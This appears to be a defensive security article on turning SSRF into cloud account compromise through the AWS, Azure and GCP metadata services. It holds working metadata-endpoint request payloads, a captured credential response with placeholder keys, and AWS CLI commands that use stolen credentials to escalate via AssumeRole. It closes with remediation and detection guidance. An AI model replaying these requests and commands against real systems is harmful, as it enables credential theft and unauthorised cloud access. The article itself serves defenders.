A single SSRF vulnerability in a webhook handler, file-import endpoint, or URL-preview feature can become a full tenant compromise in four HTTP requests. The path runs through the AWS instance metadata service (IMDS), extracts temporary IAM credentials from an overprivileged EC2 execution role, and uses STS to assume a higher-privilege role. IMDSv2 mitigates the most naive version of this chain - but only if hop count is enforced and the application itself isn't making server-side requests. We still find exploitable variants weekly across cloud-native applications.
// 01 The full chain at a glance
Every node in this chain is individually well-understood. What makes it dangerous is that each step is trivially automated and the compound impact - full data-plane access across an entire AWS account - can flow from a single unvalidated URL parameter in a feature that was never considered a security boundary.
// 02 SSRF entry points: where the chain starts
SSRF (Server-Side Request Forgery) occurs when a server-side component makes an outbound HTTP request to a URL that was directly or indirectly controlled by an attacker. The server is the agent - it makes the request from its own network position, which in a cloud environment includes the instance metadata service.
Common SSRF entry points in production applications
Webhook configuration
Applications that let users configure webhook delivery URLs and then make test delivery requests from the server. The most common and most reliably exploitable SSRF pattern in SaaS applications.
File / URL import
import-from-url, fetch-from-link, and load-from-uri features. Applications that download user-supplied URLs server-side - PDF generators, image importers, data importers, link previewers.
Integration / OAuth callbacks
Applications that call a user-supplied callback URL as part of an integration handshake. The URL is assumed to be an external service but is validated only superficially, if at all.
Server-side rendering / PDF generation
Headless browser-based PDF/screenshot generators that render arbitrary URLs. If the browser runs with access to the host network, it reaches the metadata service. Puppeteer/Chromium instances are commonly misconfigured this way.
URL-preview / Open Graph fetch
Social-media-style link unfurling. Applications that fetch Open Graph metadata from user-supplied URLs. Usually implemented in an async worker that runs with the same cloud identity as the main application.
XML / SSRF via XXE
XML parsers configured to resolve external entities (XXE). An attacker-controlled DOCTYPE pointing to http://169.254.169.254/ exploits SSRF through the XML parsing layer rather than a direct URL parameter.
// 03 The IMDSv1 chain: four requests to credential theft
AWS's Instance Metadata Service at 169.254.169.254 provides EC2 instances with metadata about themselves - including the temporary IAM role credentials associated with the instance profile. IMDSv1 requires no authentication. Any process that can make an HTTP request from the instance can retrieve its credentials.
HTTP - IMDSv1 CHAIN## Step 1: Confirm SSRF to metadata service
POST /api/webhooks/test
{ "url": "http://169.254.169.254/latest/meta-data/" }
## Response reveals SSRF is working:
HTTP/1.1 200 OK
{ "response_body": "ami-id\nami-launch-index\nblock-device-mapping/\nhostname\niam/\n..." }
## Step 2: Enumerate IAM role name
POST /api/webhooks/test
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }
## Response:
{ "response_body": "ec2-app-production-role" }
## Step 3: Retrieve temporary credentials
POST /api/webhooks/test
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-app-production-role" }
## Response - live temporary IAM credentials:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA3EXAMPLE...",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/...",
"Token": "AQoDYXdzEJr...",
"Expiration": "2026-04-26T18:00:00Z"
}
// 04 IMDSv2: why it helps, why it's not enough
IMDSv2 was introduced in 2019 to mitigate SSRF-based metadata theft. It requires a two-step process: the caller must first obtain a session token via a PUT request with a custom header (X-aws-ec2-metadata-token-ttl-seconds), then use that token in subsequent requests. The PUT request requirement defeats most naive SSRF implementations because GET-only SSRFs (including XXE) cannot obtain the token.
HTTP - IMDSv2 TOKEN FLOW## Step 1: Obtain session token (requires PUT - defeats GET-only SSRF)
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
## Response: token string
AQAAANjNkMq...
## Step 2: Use token in subsequent requests
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: AQAAANjNkMq...
Scenario 1 - App-level SSRF with full HTTP method support: If the vulnerable feature makes PUT or POST requests (webhook delivery, HTTP client libraries), the application itself can obtain the IMDSv2 token and the attacker chains requests through it. The SSRF exploit becomes: obtain token, then use token to fetch credentials - two API calls instead of one.
Scenario 2 - Hop limit not enforced: IMDSv2 includes a hop-limit parameter (default 1 for containerised workloads, but often misconfigured). A Lambda function or ECS task with hop limit > 1 is vulnerable to SSRF from within the application even with IMDSv2 enforced.
Scenario 3 - IMDSv2 not enforced, IMDSv1 still available: AWS accounts created before 2019 default to allowing both IMDS versions. Unless the instance is explicitly configured to require IMDSv2 (HttpTokens: required), IMDSv1 remains available. This is still the state of a significant portion of production EC2 fleets.
// 05 STS AssumeRole: from app-level IAM to account-level compromise
Retrieving the EC2 instance profile credentials is usually just the beginning. Most production roles have sts:AssumeRole permissions that allow the application to assume other roles - typically for cross-account access, CI/CD pipelines, or privileged data-plane operations. When those target roles have broader permissions than the instance profile, you have a privilege escalation path.
SHELL - AWS CLI WITH STOLEN CREDS# Configure temporary credentials from IMDS
export AWS_ACCESS_KEY_ID="ASIA3EXAMPLE..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI..."
export AWS_SESSION_TOKEN="AQoDYXdzEJr..."
# Step 1: Enumerate attached policies on the role
aws iam list-attached-role-policies \
--role-name ec2-app-production-role
# Step 2: Check inline policies
aws iam list-role-policies --role-name ec2-app-production-role
# Step 3: Find assumable roles
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::123456789:role/ec2-app-production-role \
--action-names sts:AssumeRole \
--resource-arns "*"
# Step 4: Assume higher-privilege role
aws sts assume-role \
--role-arn arn:aws:iam::123456789:role/DataPlatformAdminRole \
--role-session-name pen-test-escalation
# Now operating as DataPlatformAdminRole - list all S3 buckets
aws s3 ls
# Common high-impact capabilities found post-escalation:
# - s3:GetObject on data buckets → customer data exfiltration
# - ec2:Describe* → full infrastructure enumeration
# - secretsmanager:GetSecretValue → all application secrets
# - rds:* → database access
// 06 Azure IMDS and GCP metadata server: same chain, different endpoints
The SSRF-to-metadata attack is not AWS-specific. Both Azure and GCP expose instance metadata services with similar characteristics.
Azure Instance Metadata Service
HTTP - AZURE IMDS# Azure IMDS endpoint (no token required for identity endpoint)
GET http://169.254.169.254/metadata/instance?api-version=2021-02-01
Metadata: true
# Retrieve managed identity token (equivalent to IAM role credentials)
GET http://169.254.169.254/metadata/identity/oauth2/token
?api-version=2018-02-01
&resource=https://management.azure.com/
Metadata: true
# Response contains access_token for Azure Resource Manager API
# Use token to enumerate subscriptions, resource groups, Key Vault secrets
GCP Metadata Server
HTTP - GCP METADATA# GCP metadata server
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google
# Returns OAuth2 access token for the attached service account
# Use to call Google Cloud APIs: Storage, BigQuery, Secrets Manager
# Enumerate all metadata
GET http://metadata.google.internal/computeMetadata/v1/?recursive=true
Metadata-Flavor: Google
GCP's metadata server requires the Metadata-Flavor: Google header - a deliberate CSRF/SSRF mitigation. Most GET-only SSRF implementations can still add headers, making this a weak protection. The recursive=true parameter is particularly dangerous - it dumps the entire metadata tree including all service account tokens in one request.
// 07 Remediation: four controls that actually work
Enforce IMDSv2 with hop limit 1
Set HttpTokens: required and HttpPutResponseHopLimit: 1 on every EC2 instance and ECS task definition. This defeats SSRF from inside containerised workloads. Do this via IaC (Terraform/CDK) so it's enforced for all new instances, not just patched retroactively.
Block metadata IP in outbound rules
Add an egress deny rule on 169.254.169.254/32 at the security group or NACLs level for any instance that doesn't need metadata service access. Application containers rarely need it - the metadata service is primarily used by the host agent (SSM, CloudWatch). Block it where not required.
Apply URL allowlisting to outbound fetchers
Any application feature that makes server-side outbound requests must validate the destination against a strict allowlist of expected hostnames and IP ranges. Block RFC 1918 addresses (10/8, 172.16/12, 192.168/16), loopback, and link-local (169.254/16) before the request is dispatched.
Least-privilege IAM roles
Even if SSRF occurs, a correctly scoped role limits blast radius. EC2 / Lambda execution roles should have only the permissions the application actually needs - never sts:AssumeRole on *, never wildcard S3 access. Audit all instance profiles with IAM Access Analyzer before pen testing.
// 08 Detection: what good logging looks like
SSRF-to-IMDS attacks leave distinct traces if you're logging the right things. The following CloudTrail events should trigger immediate investigation in a mature cloud security programme:
| CloudTrail Event | Indicator | Severity |
|---|---|---|
GetCallerIdentity | Credential use from unexpected IP / region - attacker confirming credential validity | High |
AssumeRole | EC2 instance profile assuming a role it has never assumed before | High |
ListBuckets / GetObject | First-ever S3 access from an EC2 instance profile with no prior S3 activity | High |
GetSecretValue | Secrets Manager access from an EC2 role at an unusual time or from a new region | Critical |
DescribeInstances | Broad infrastructure enumeration from application-tier role | Medium |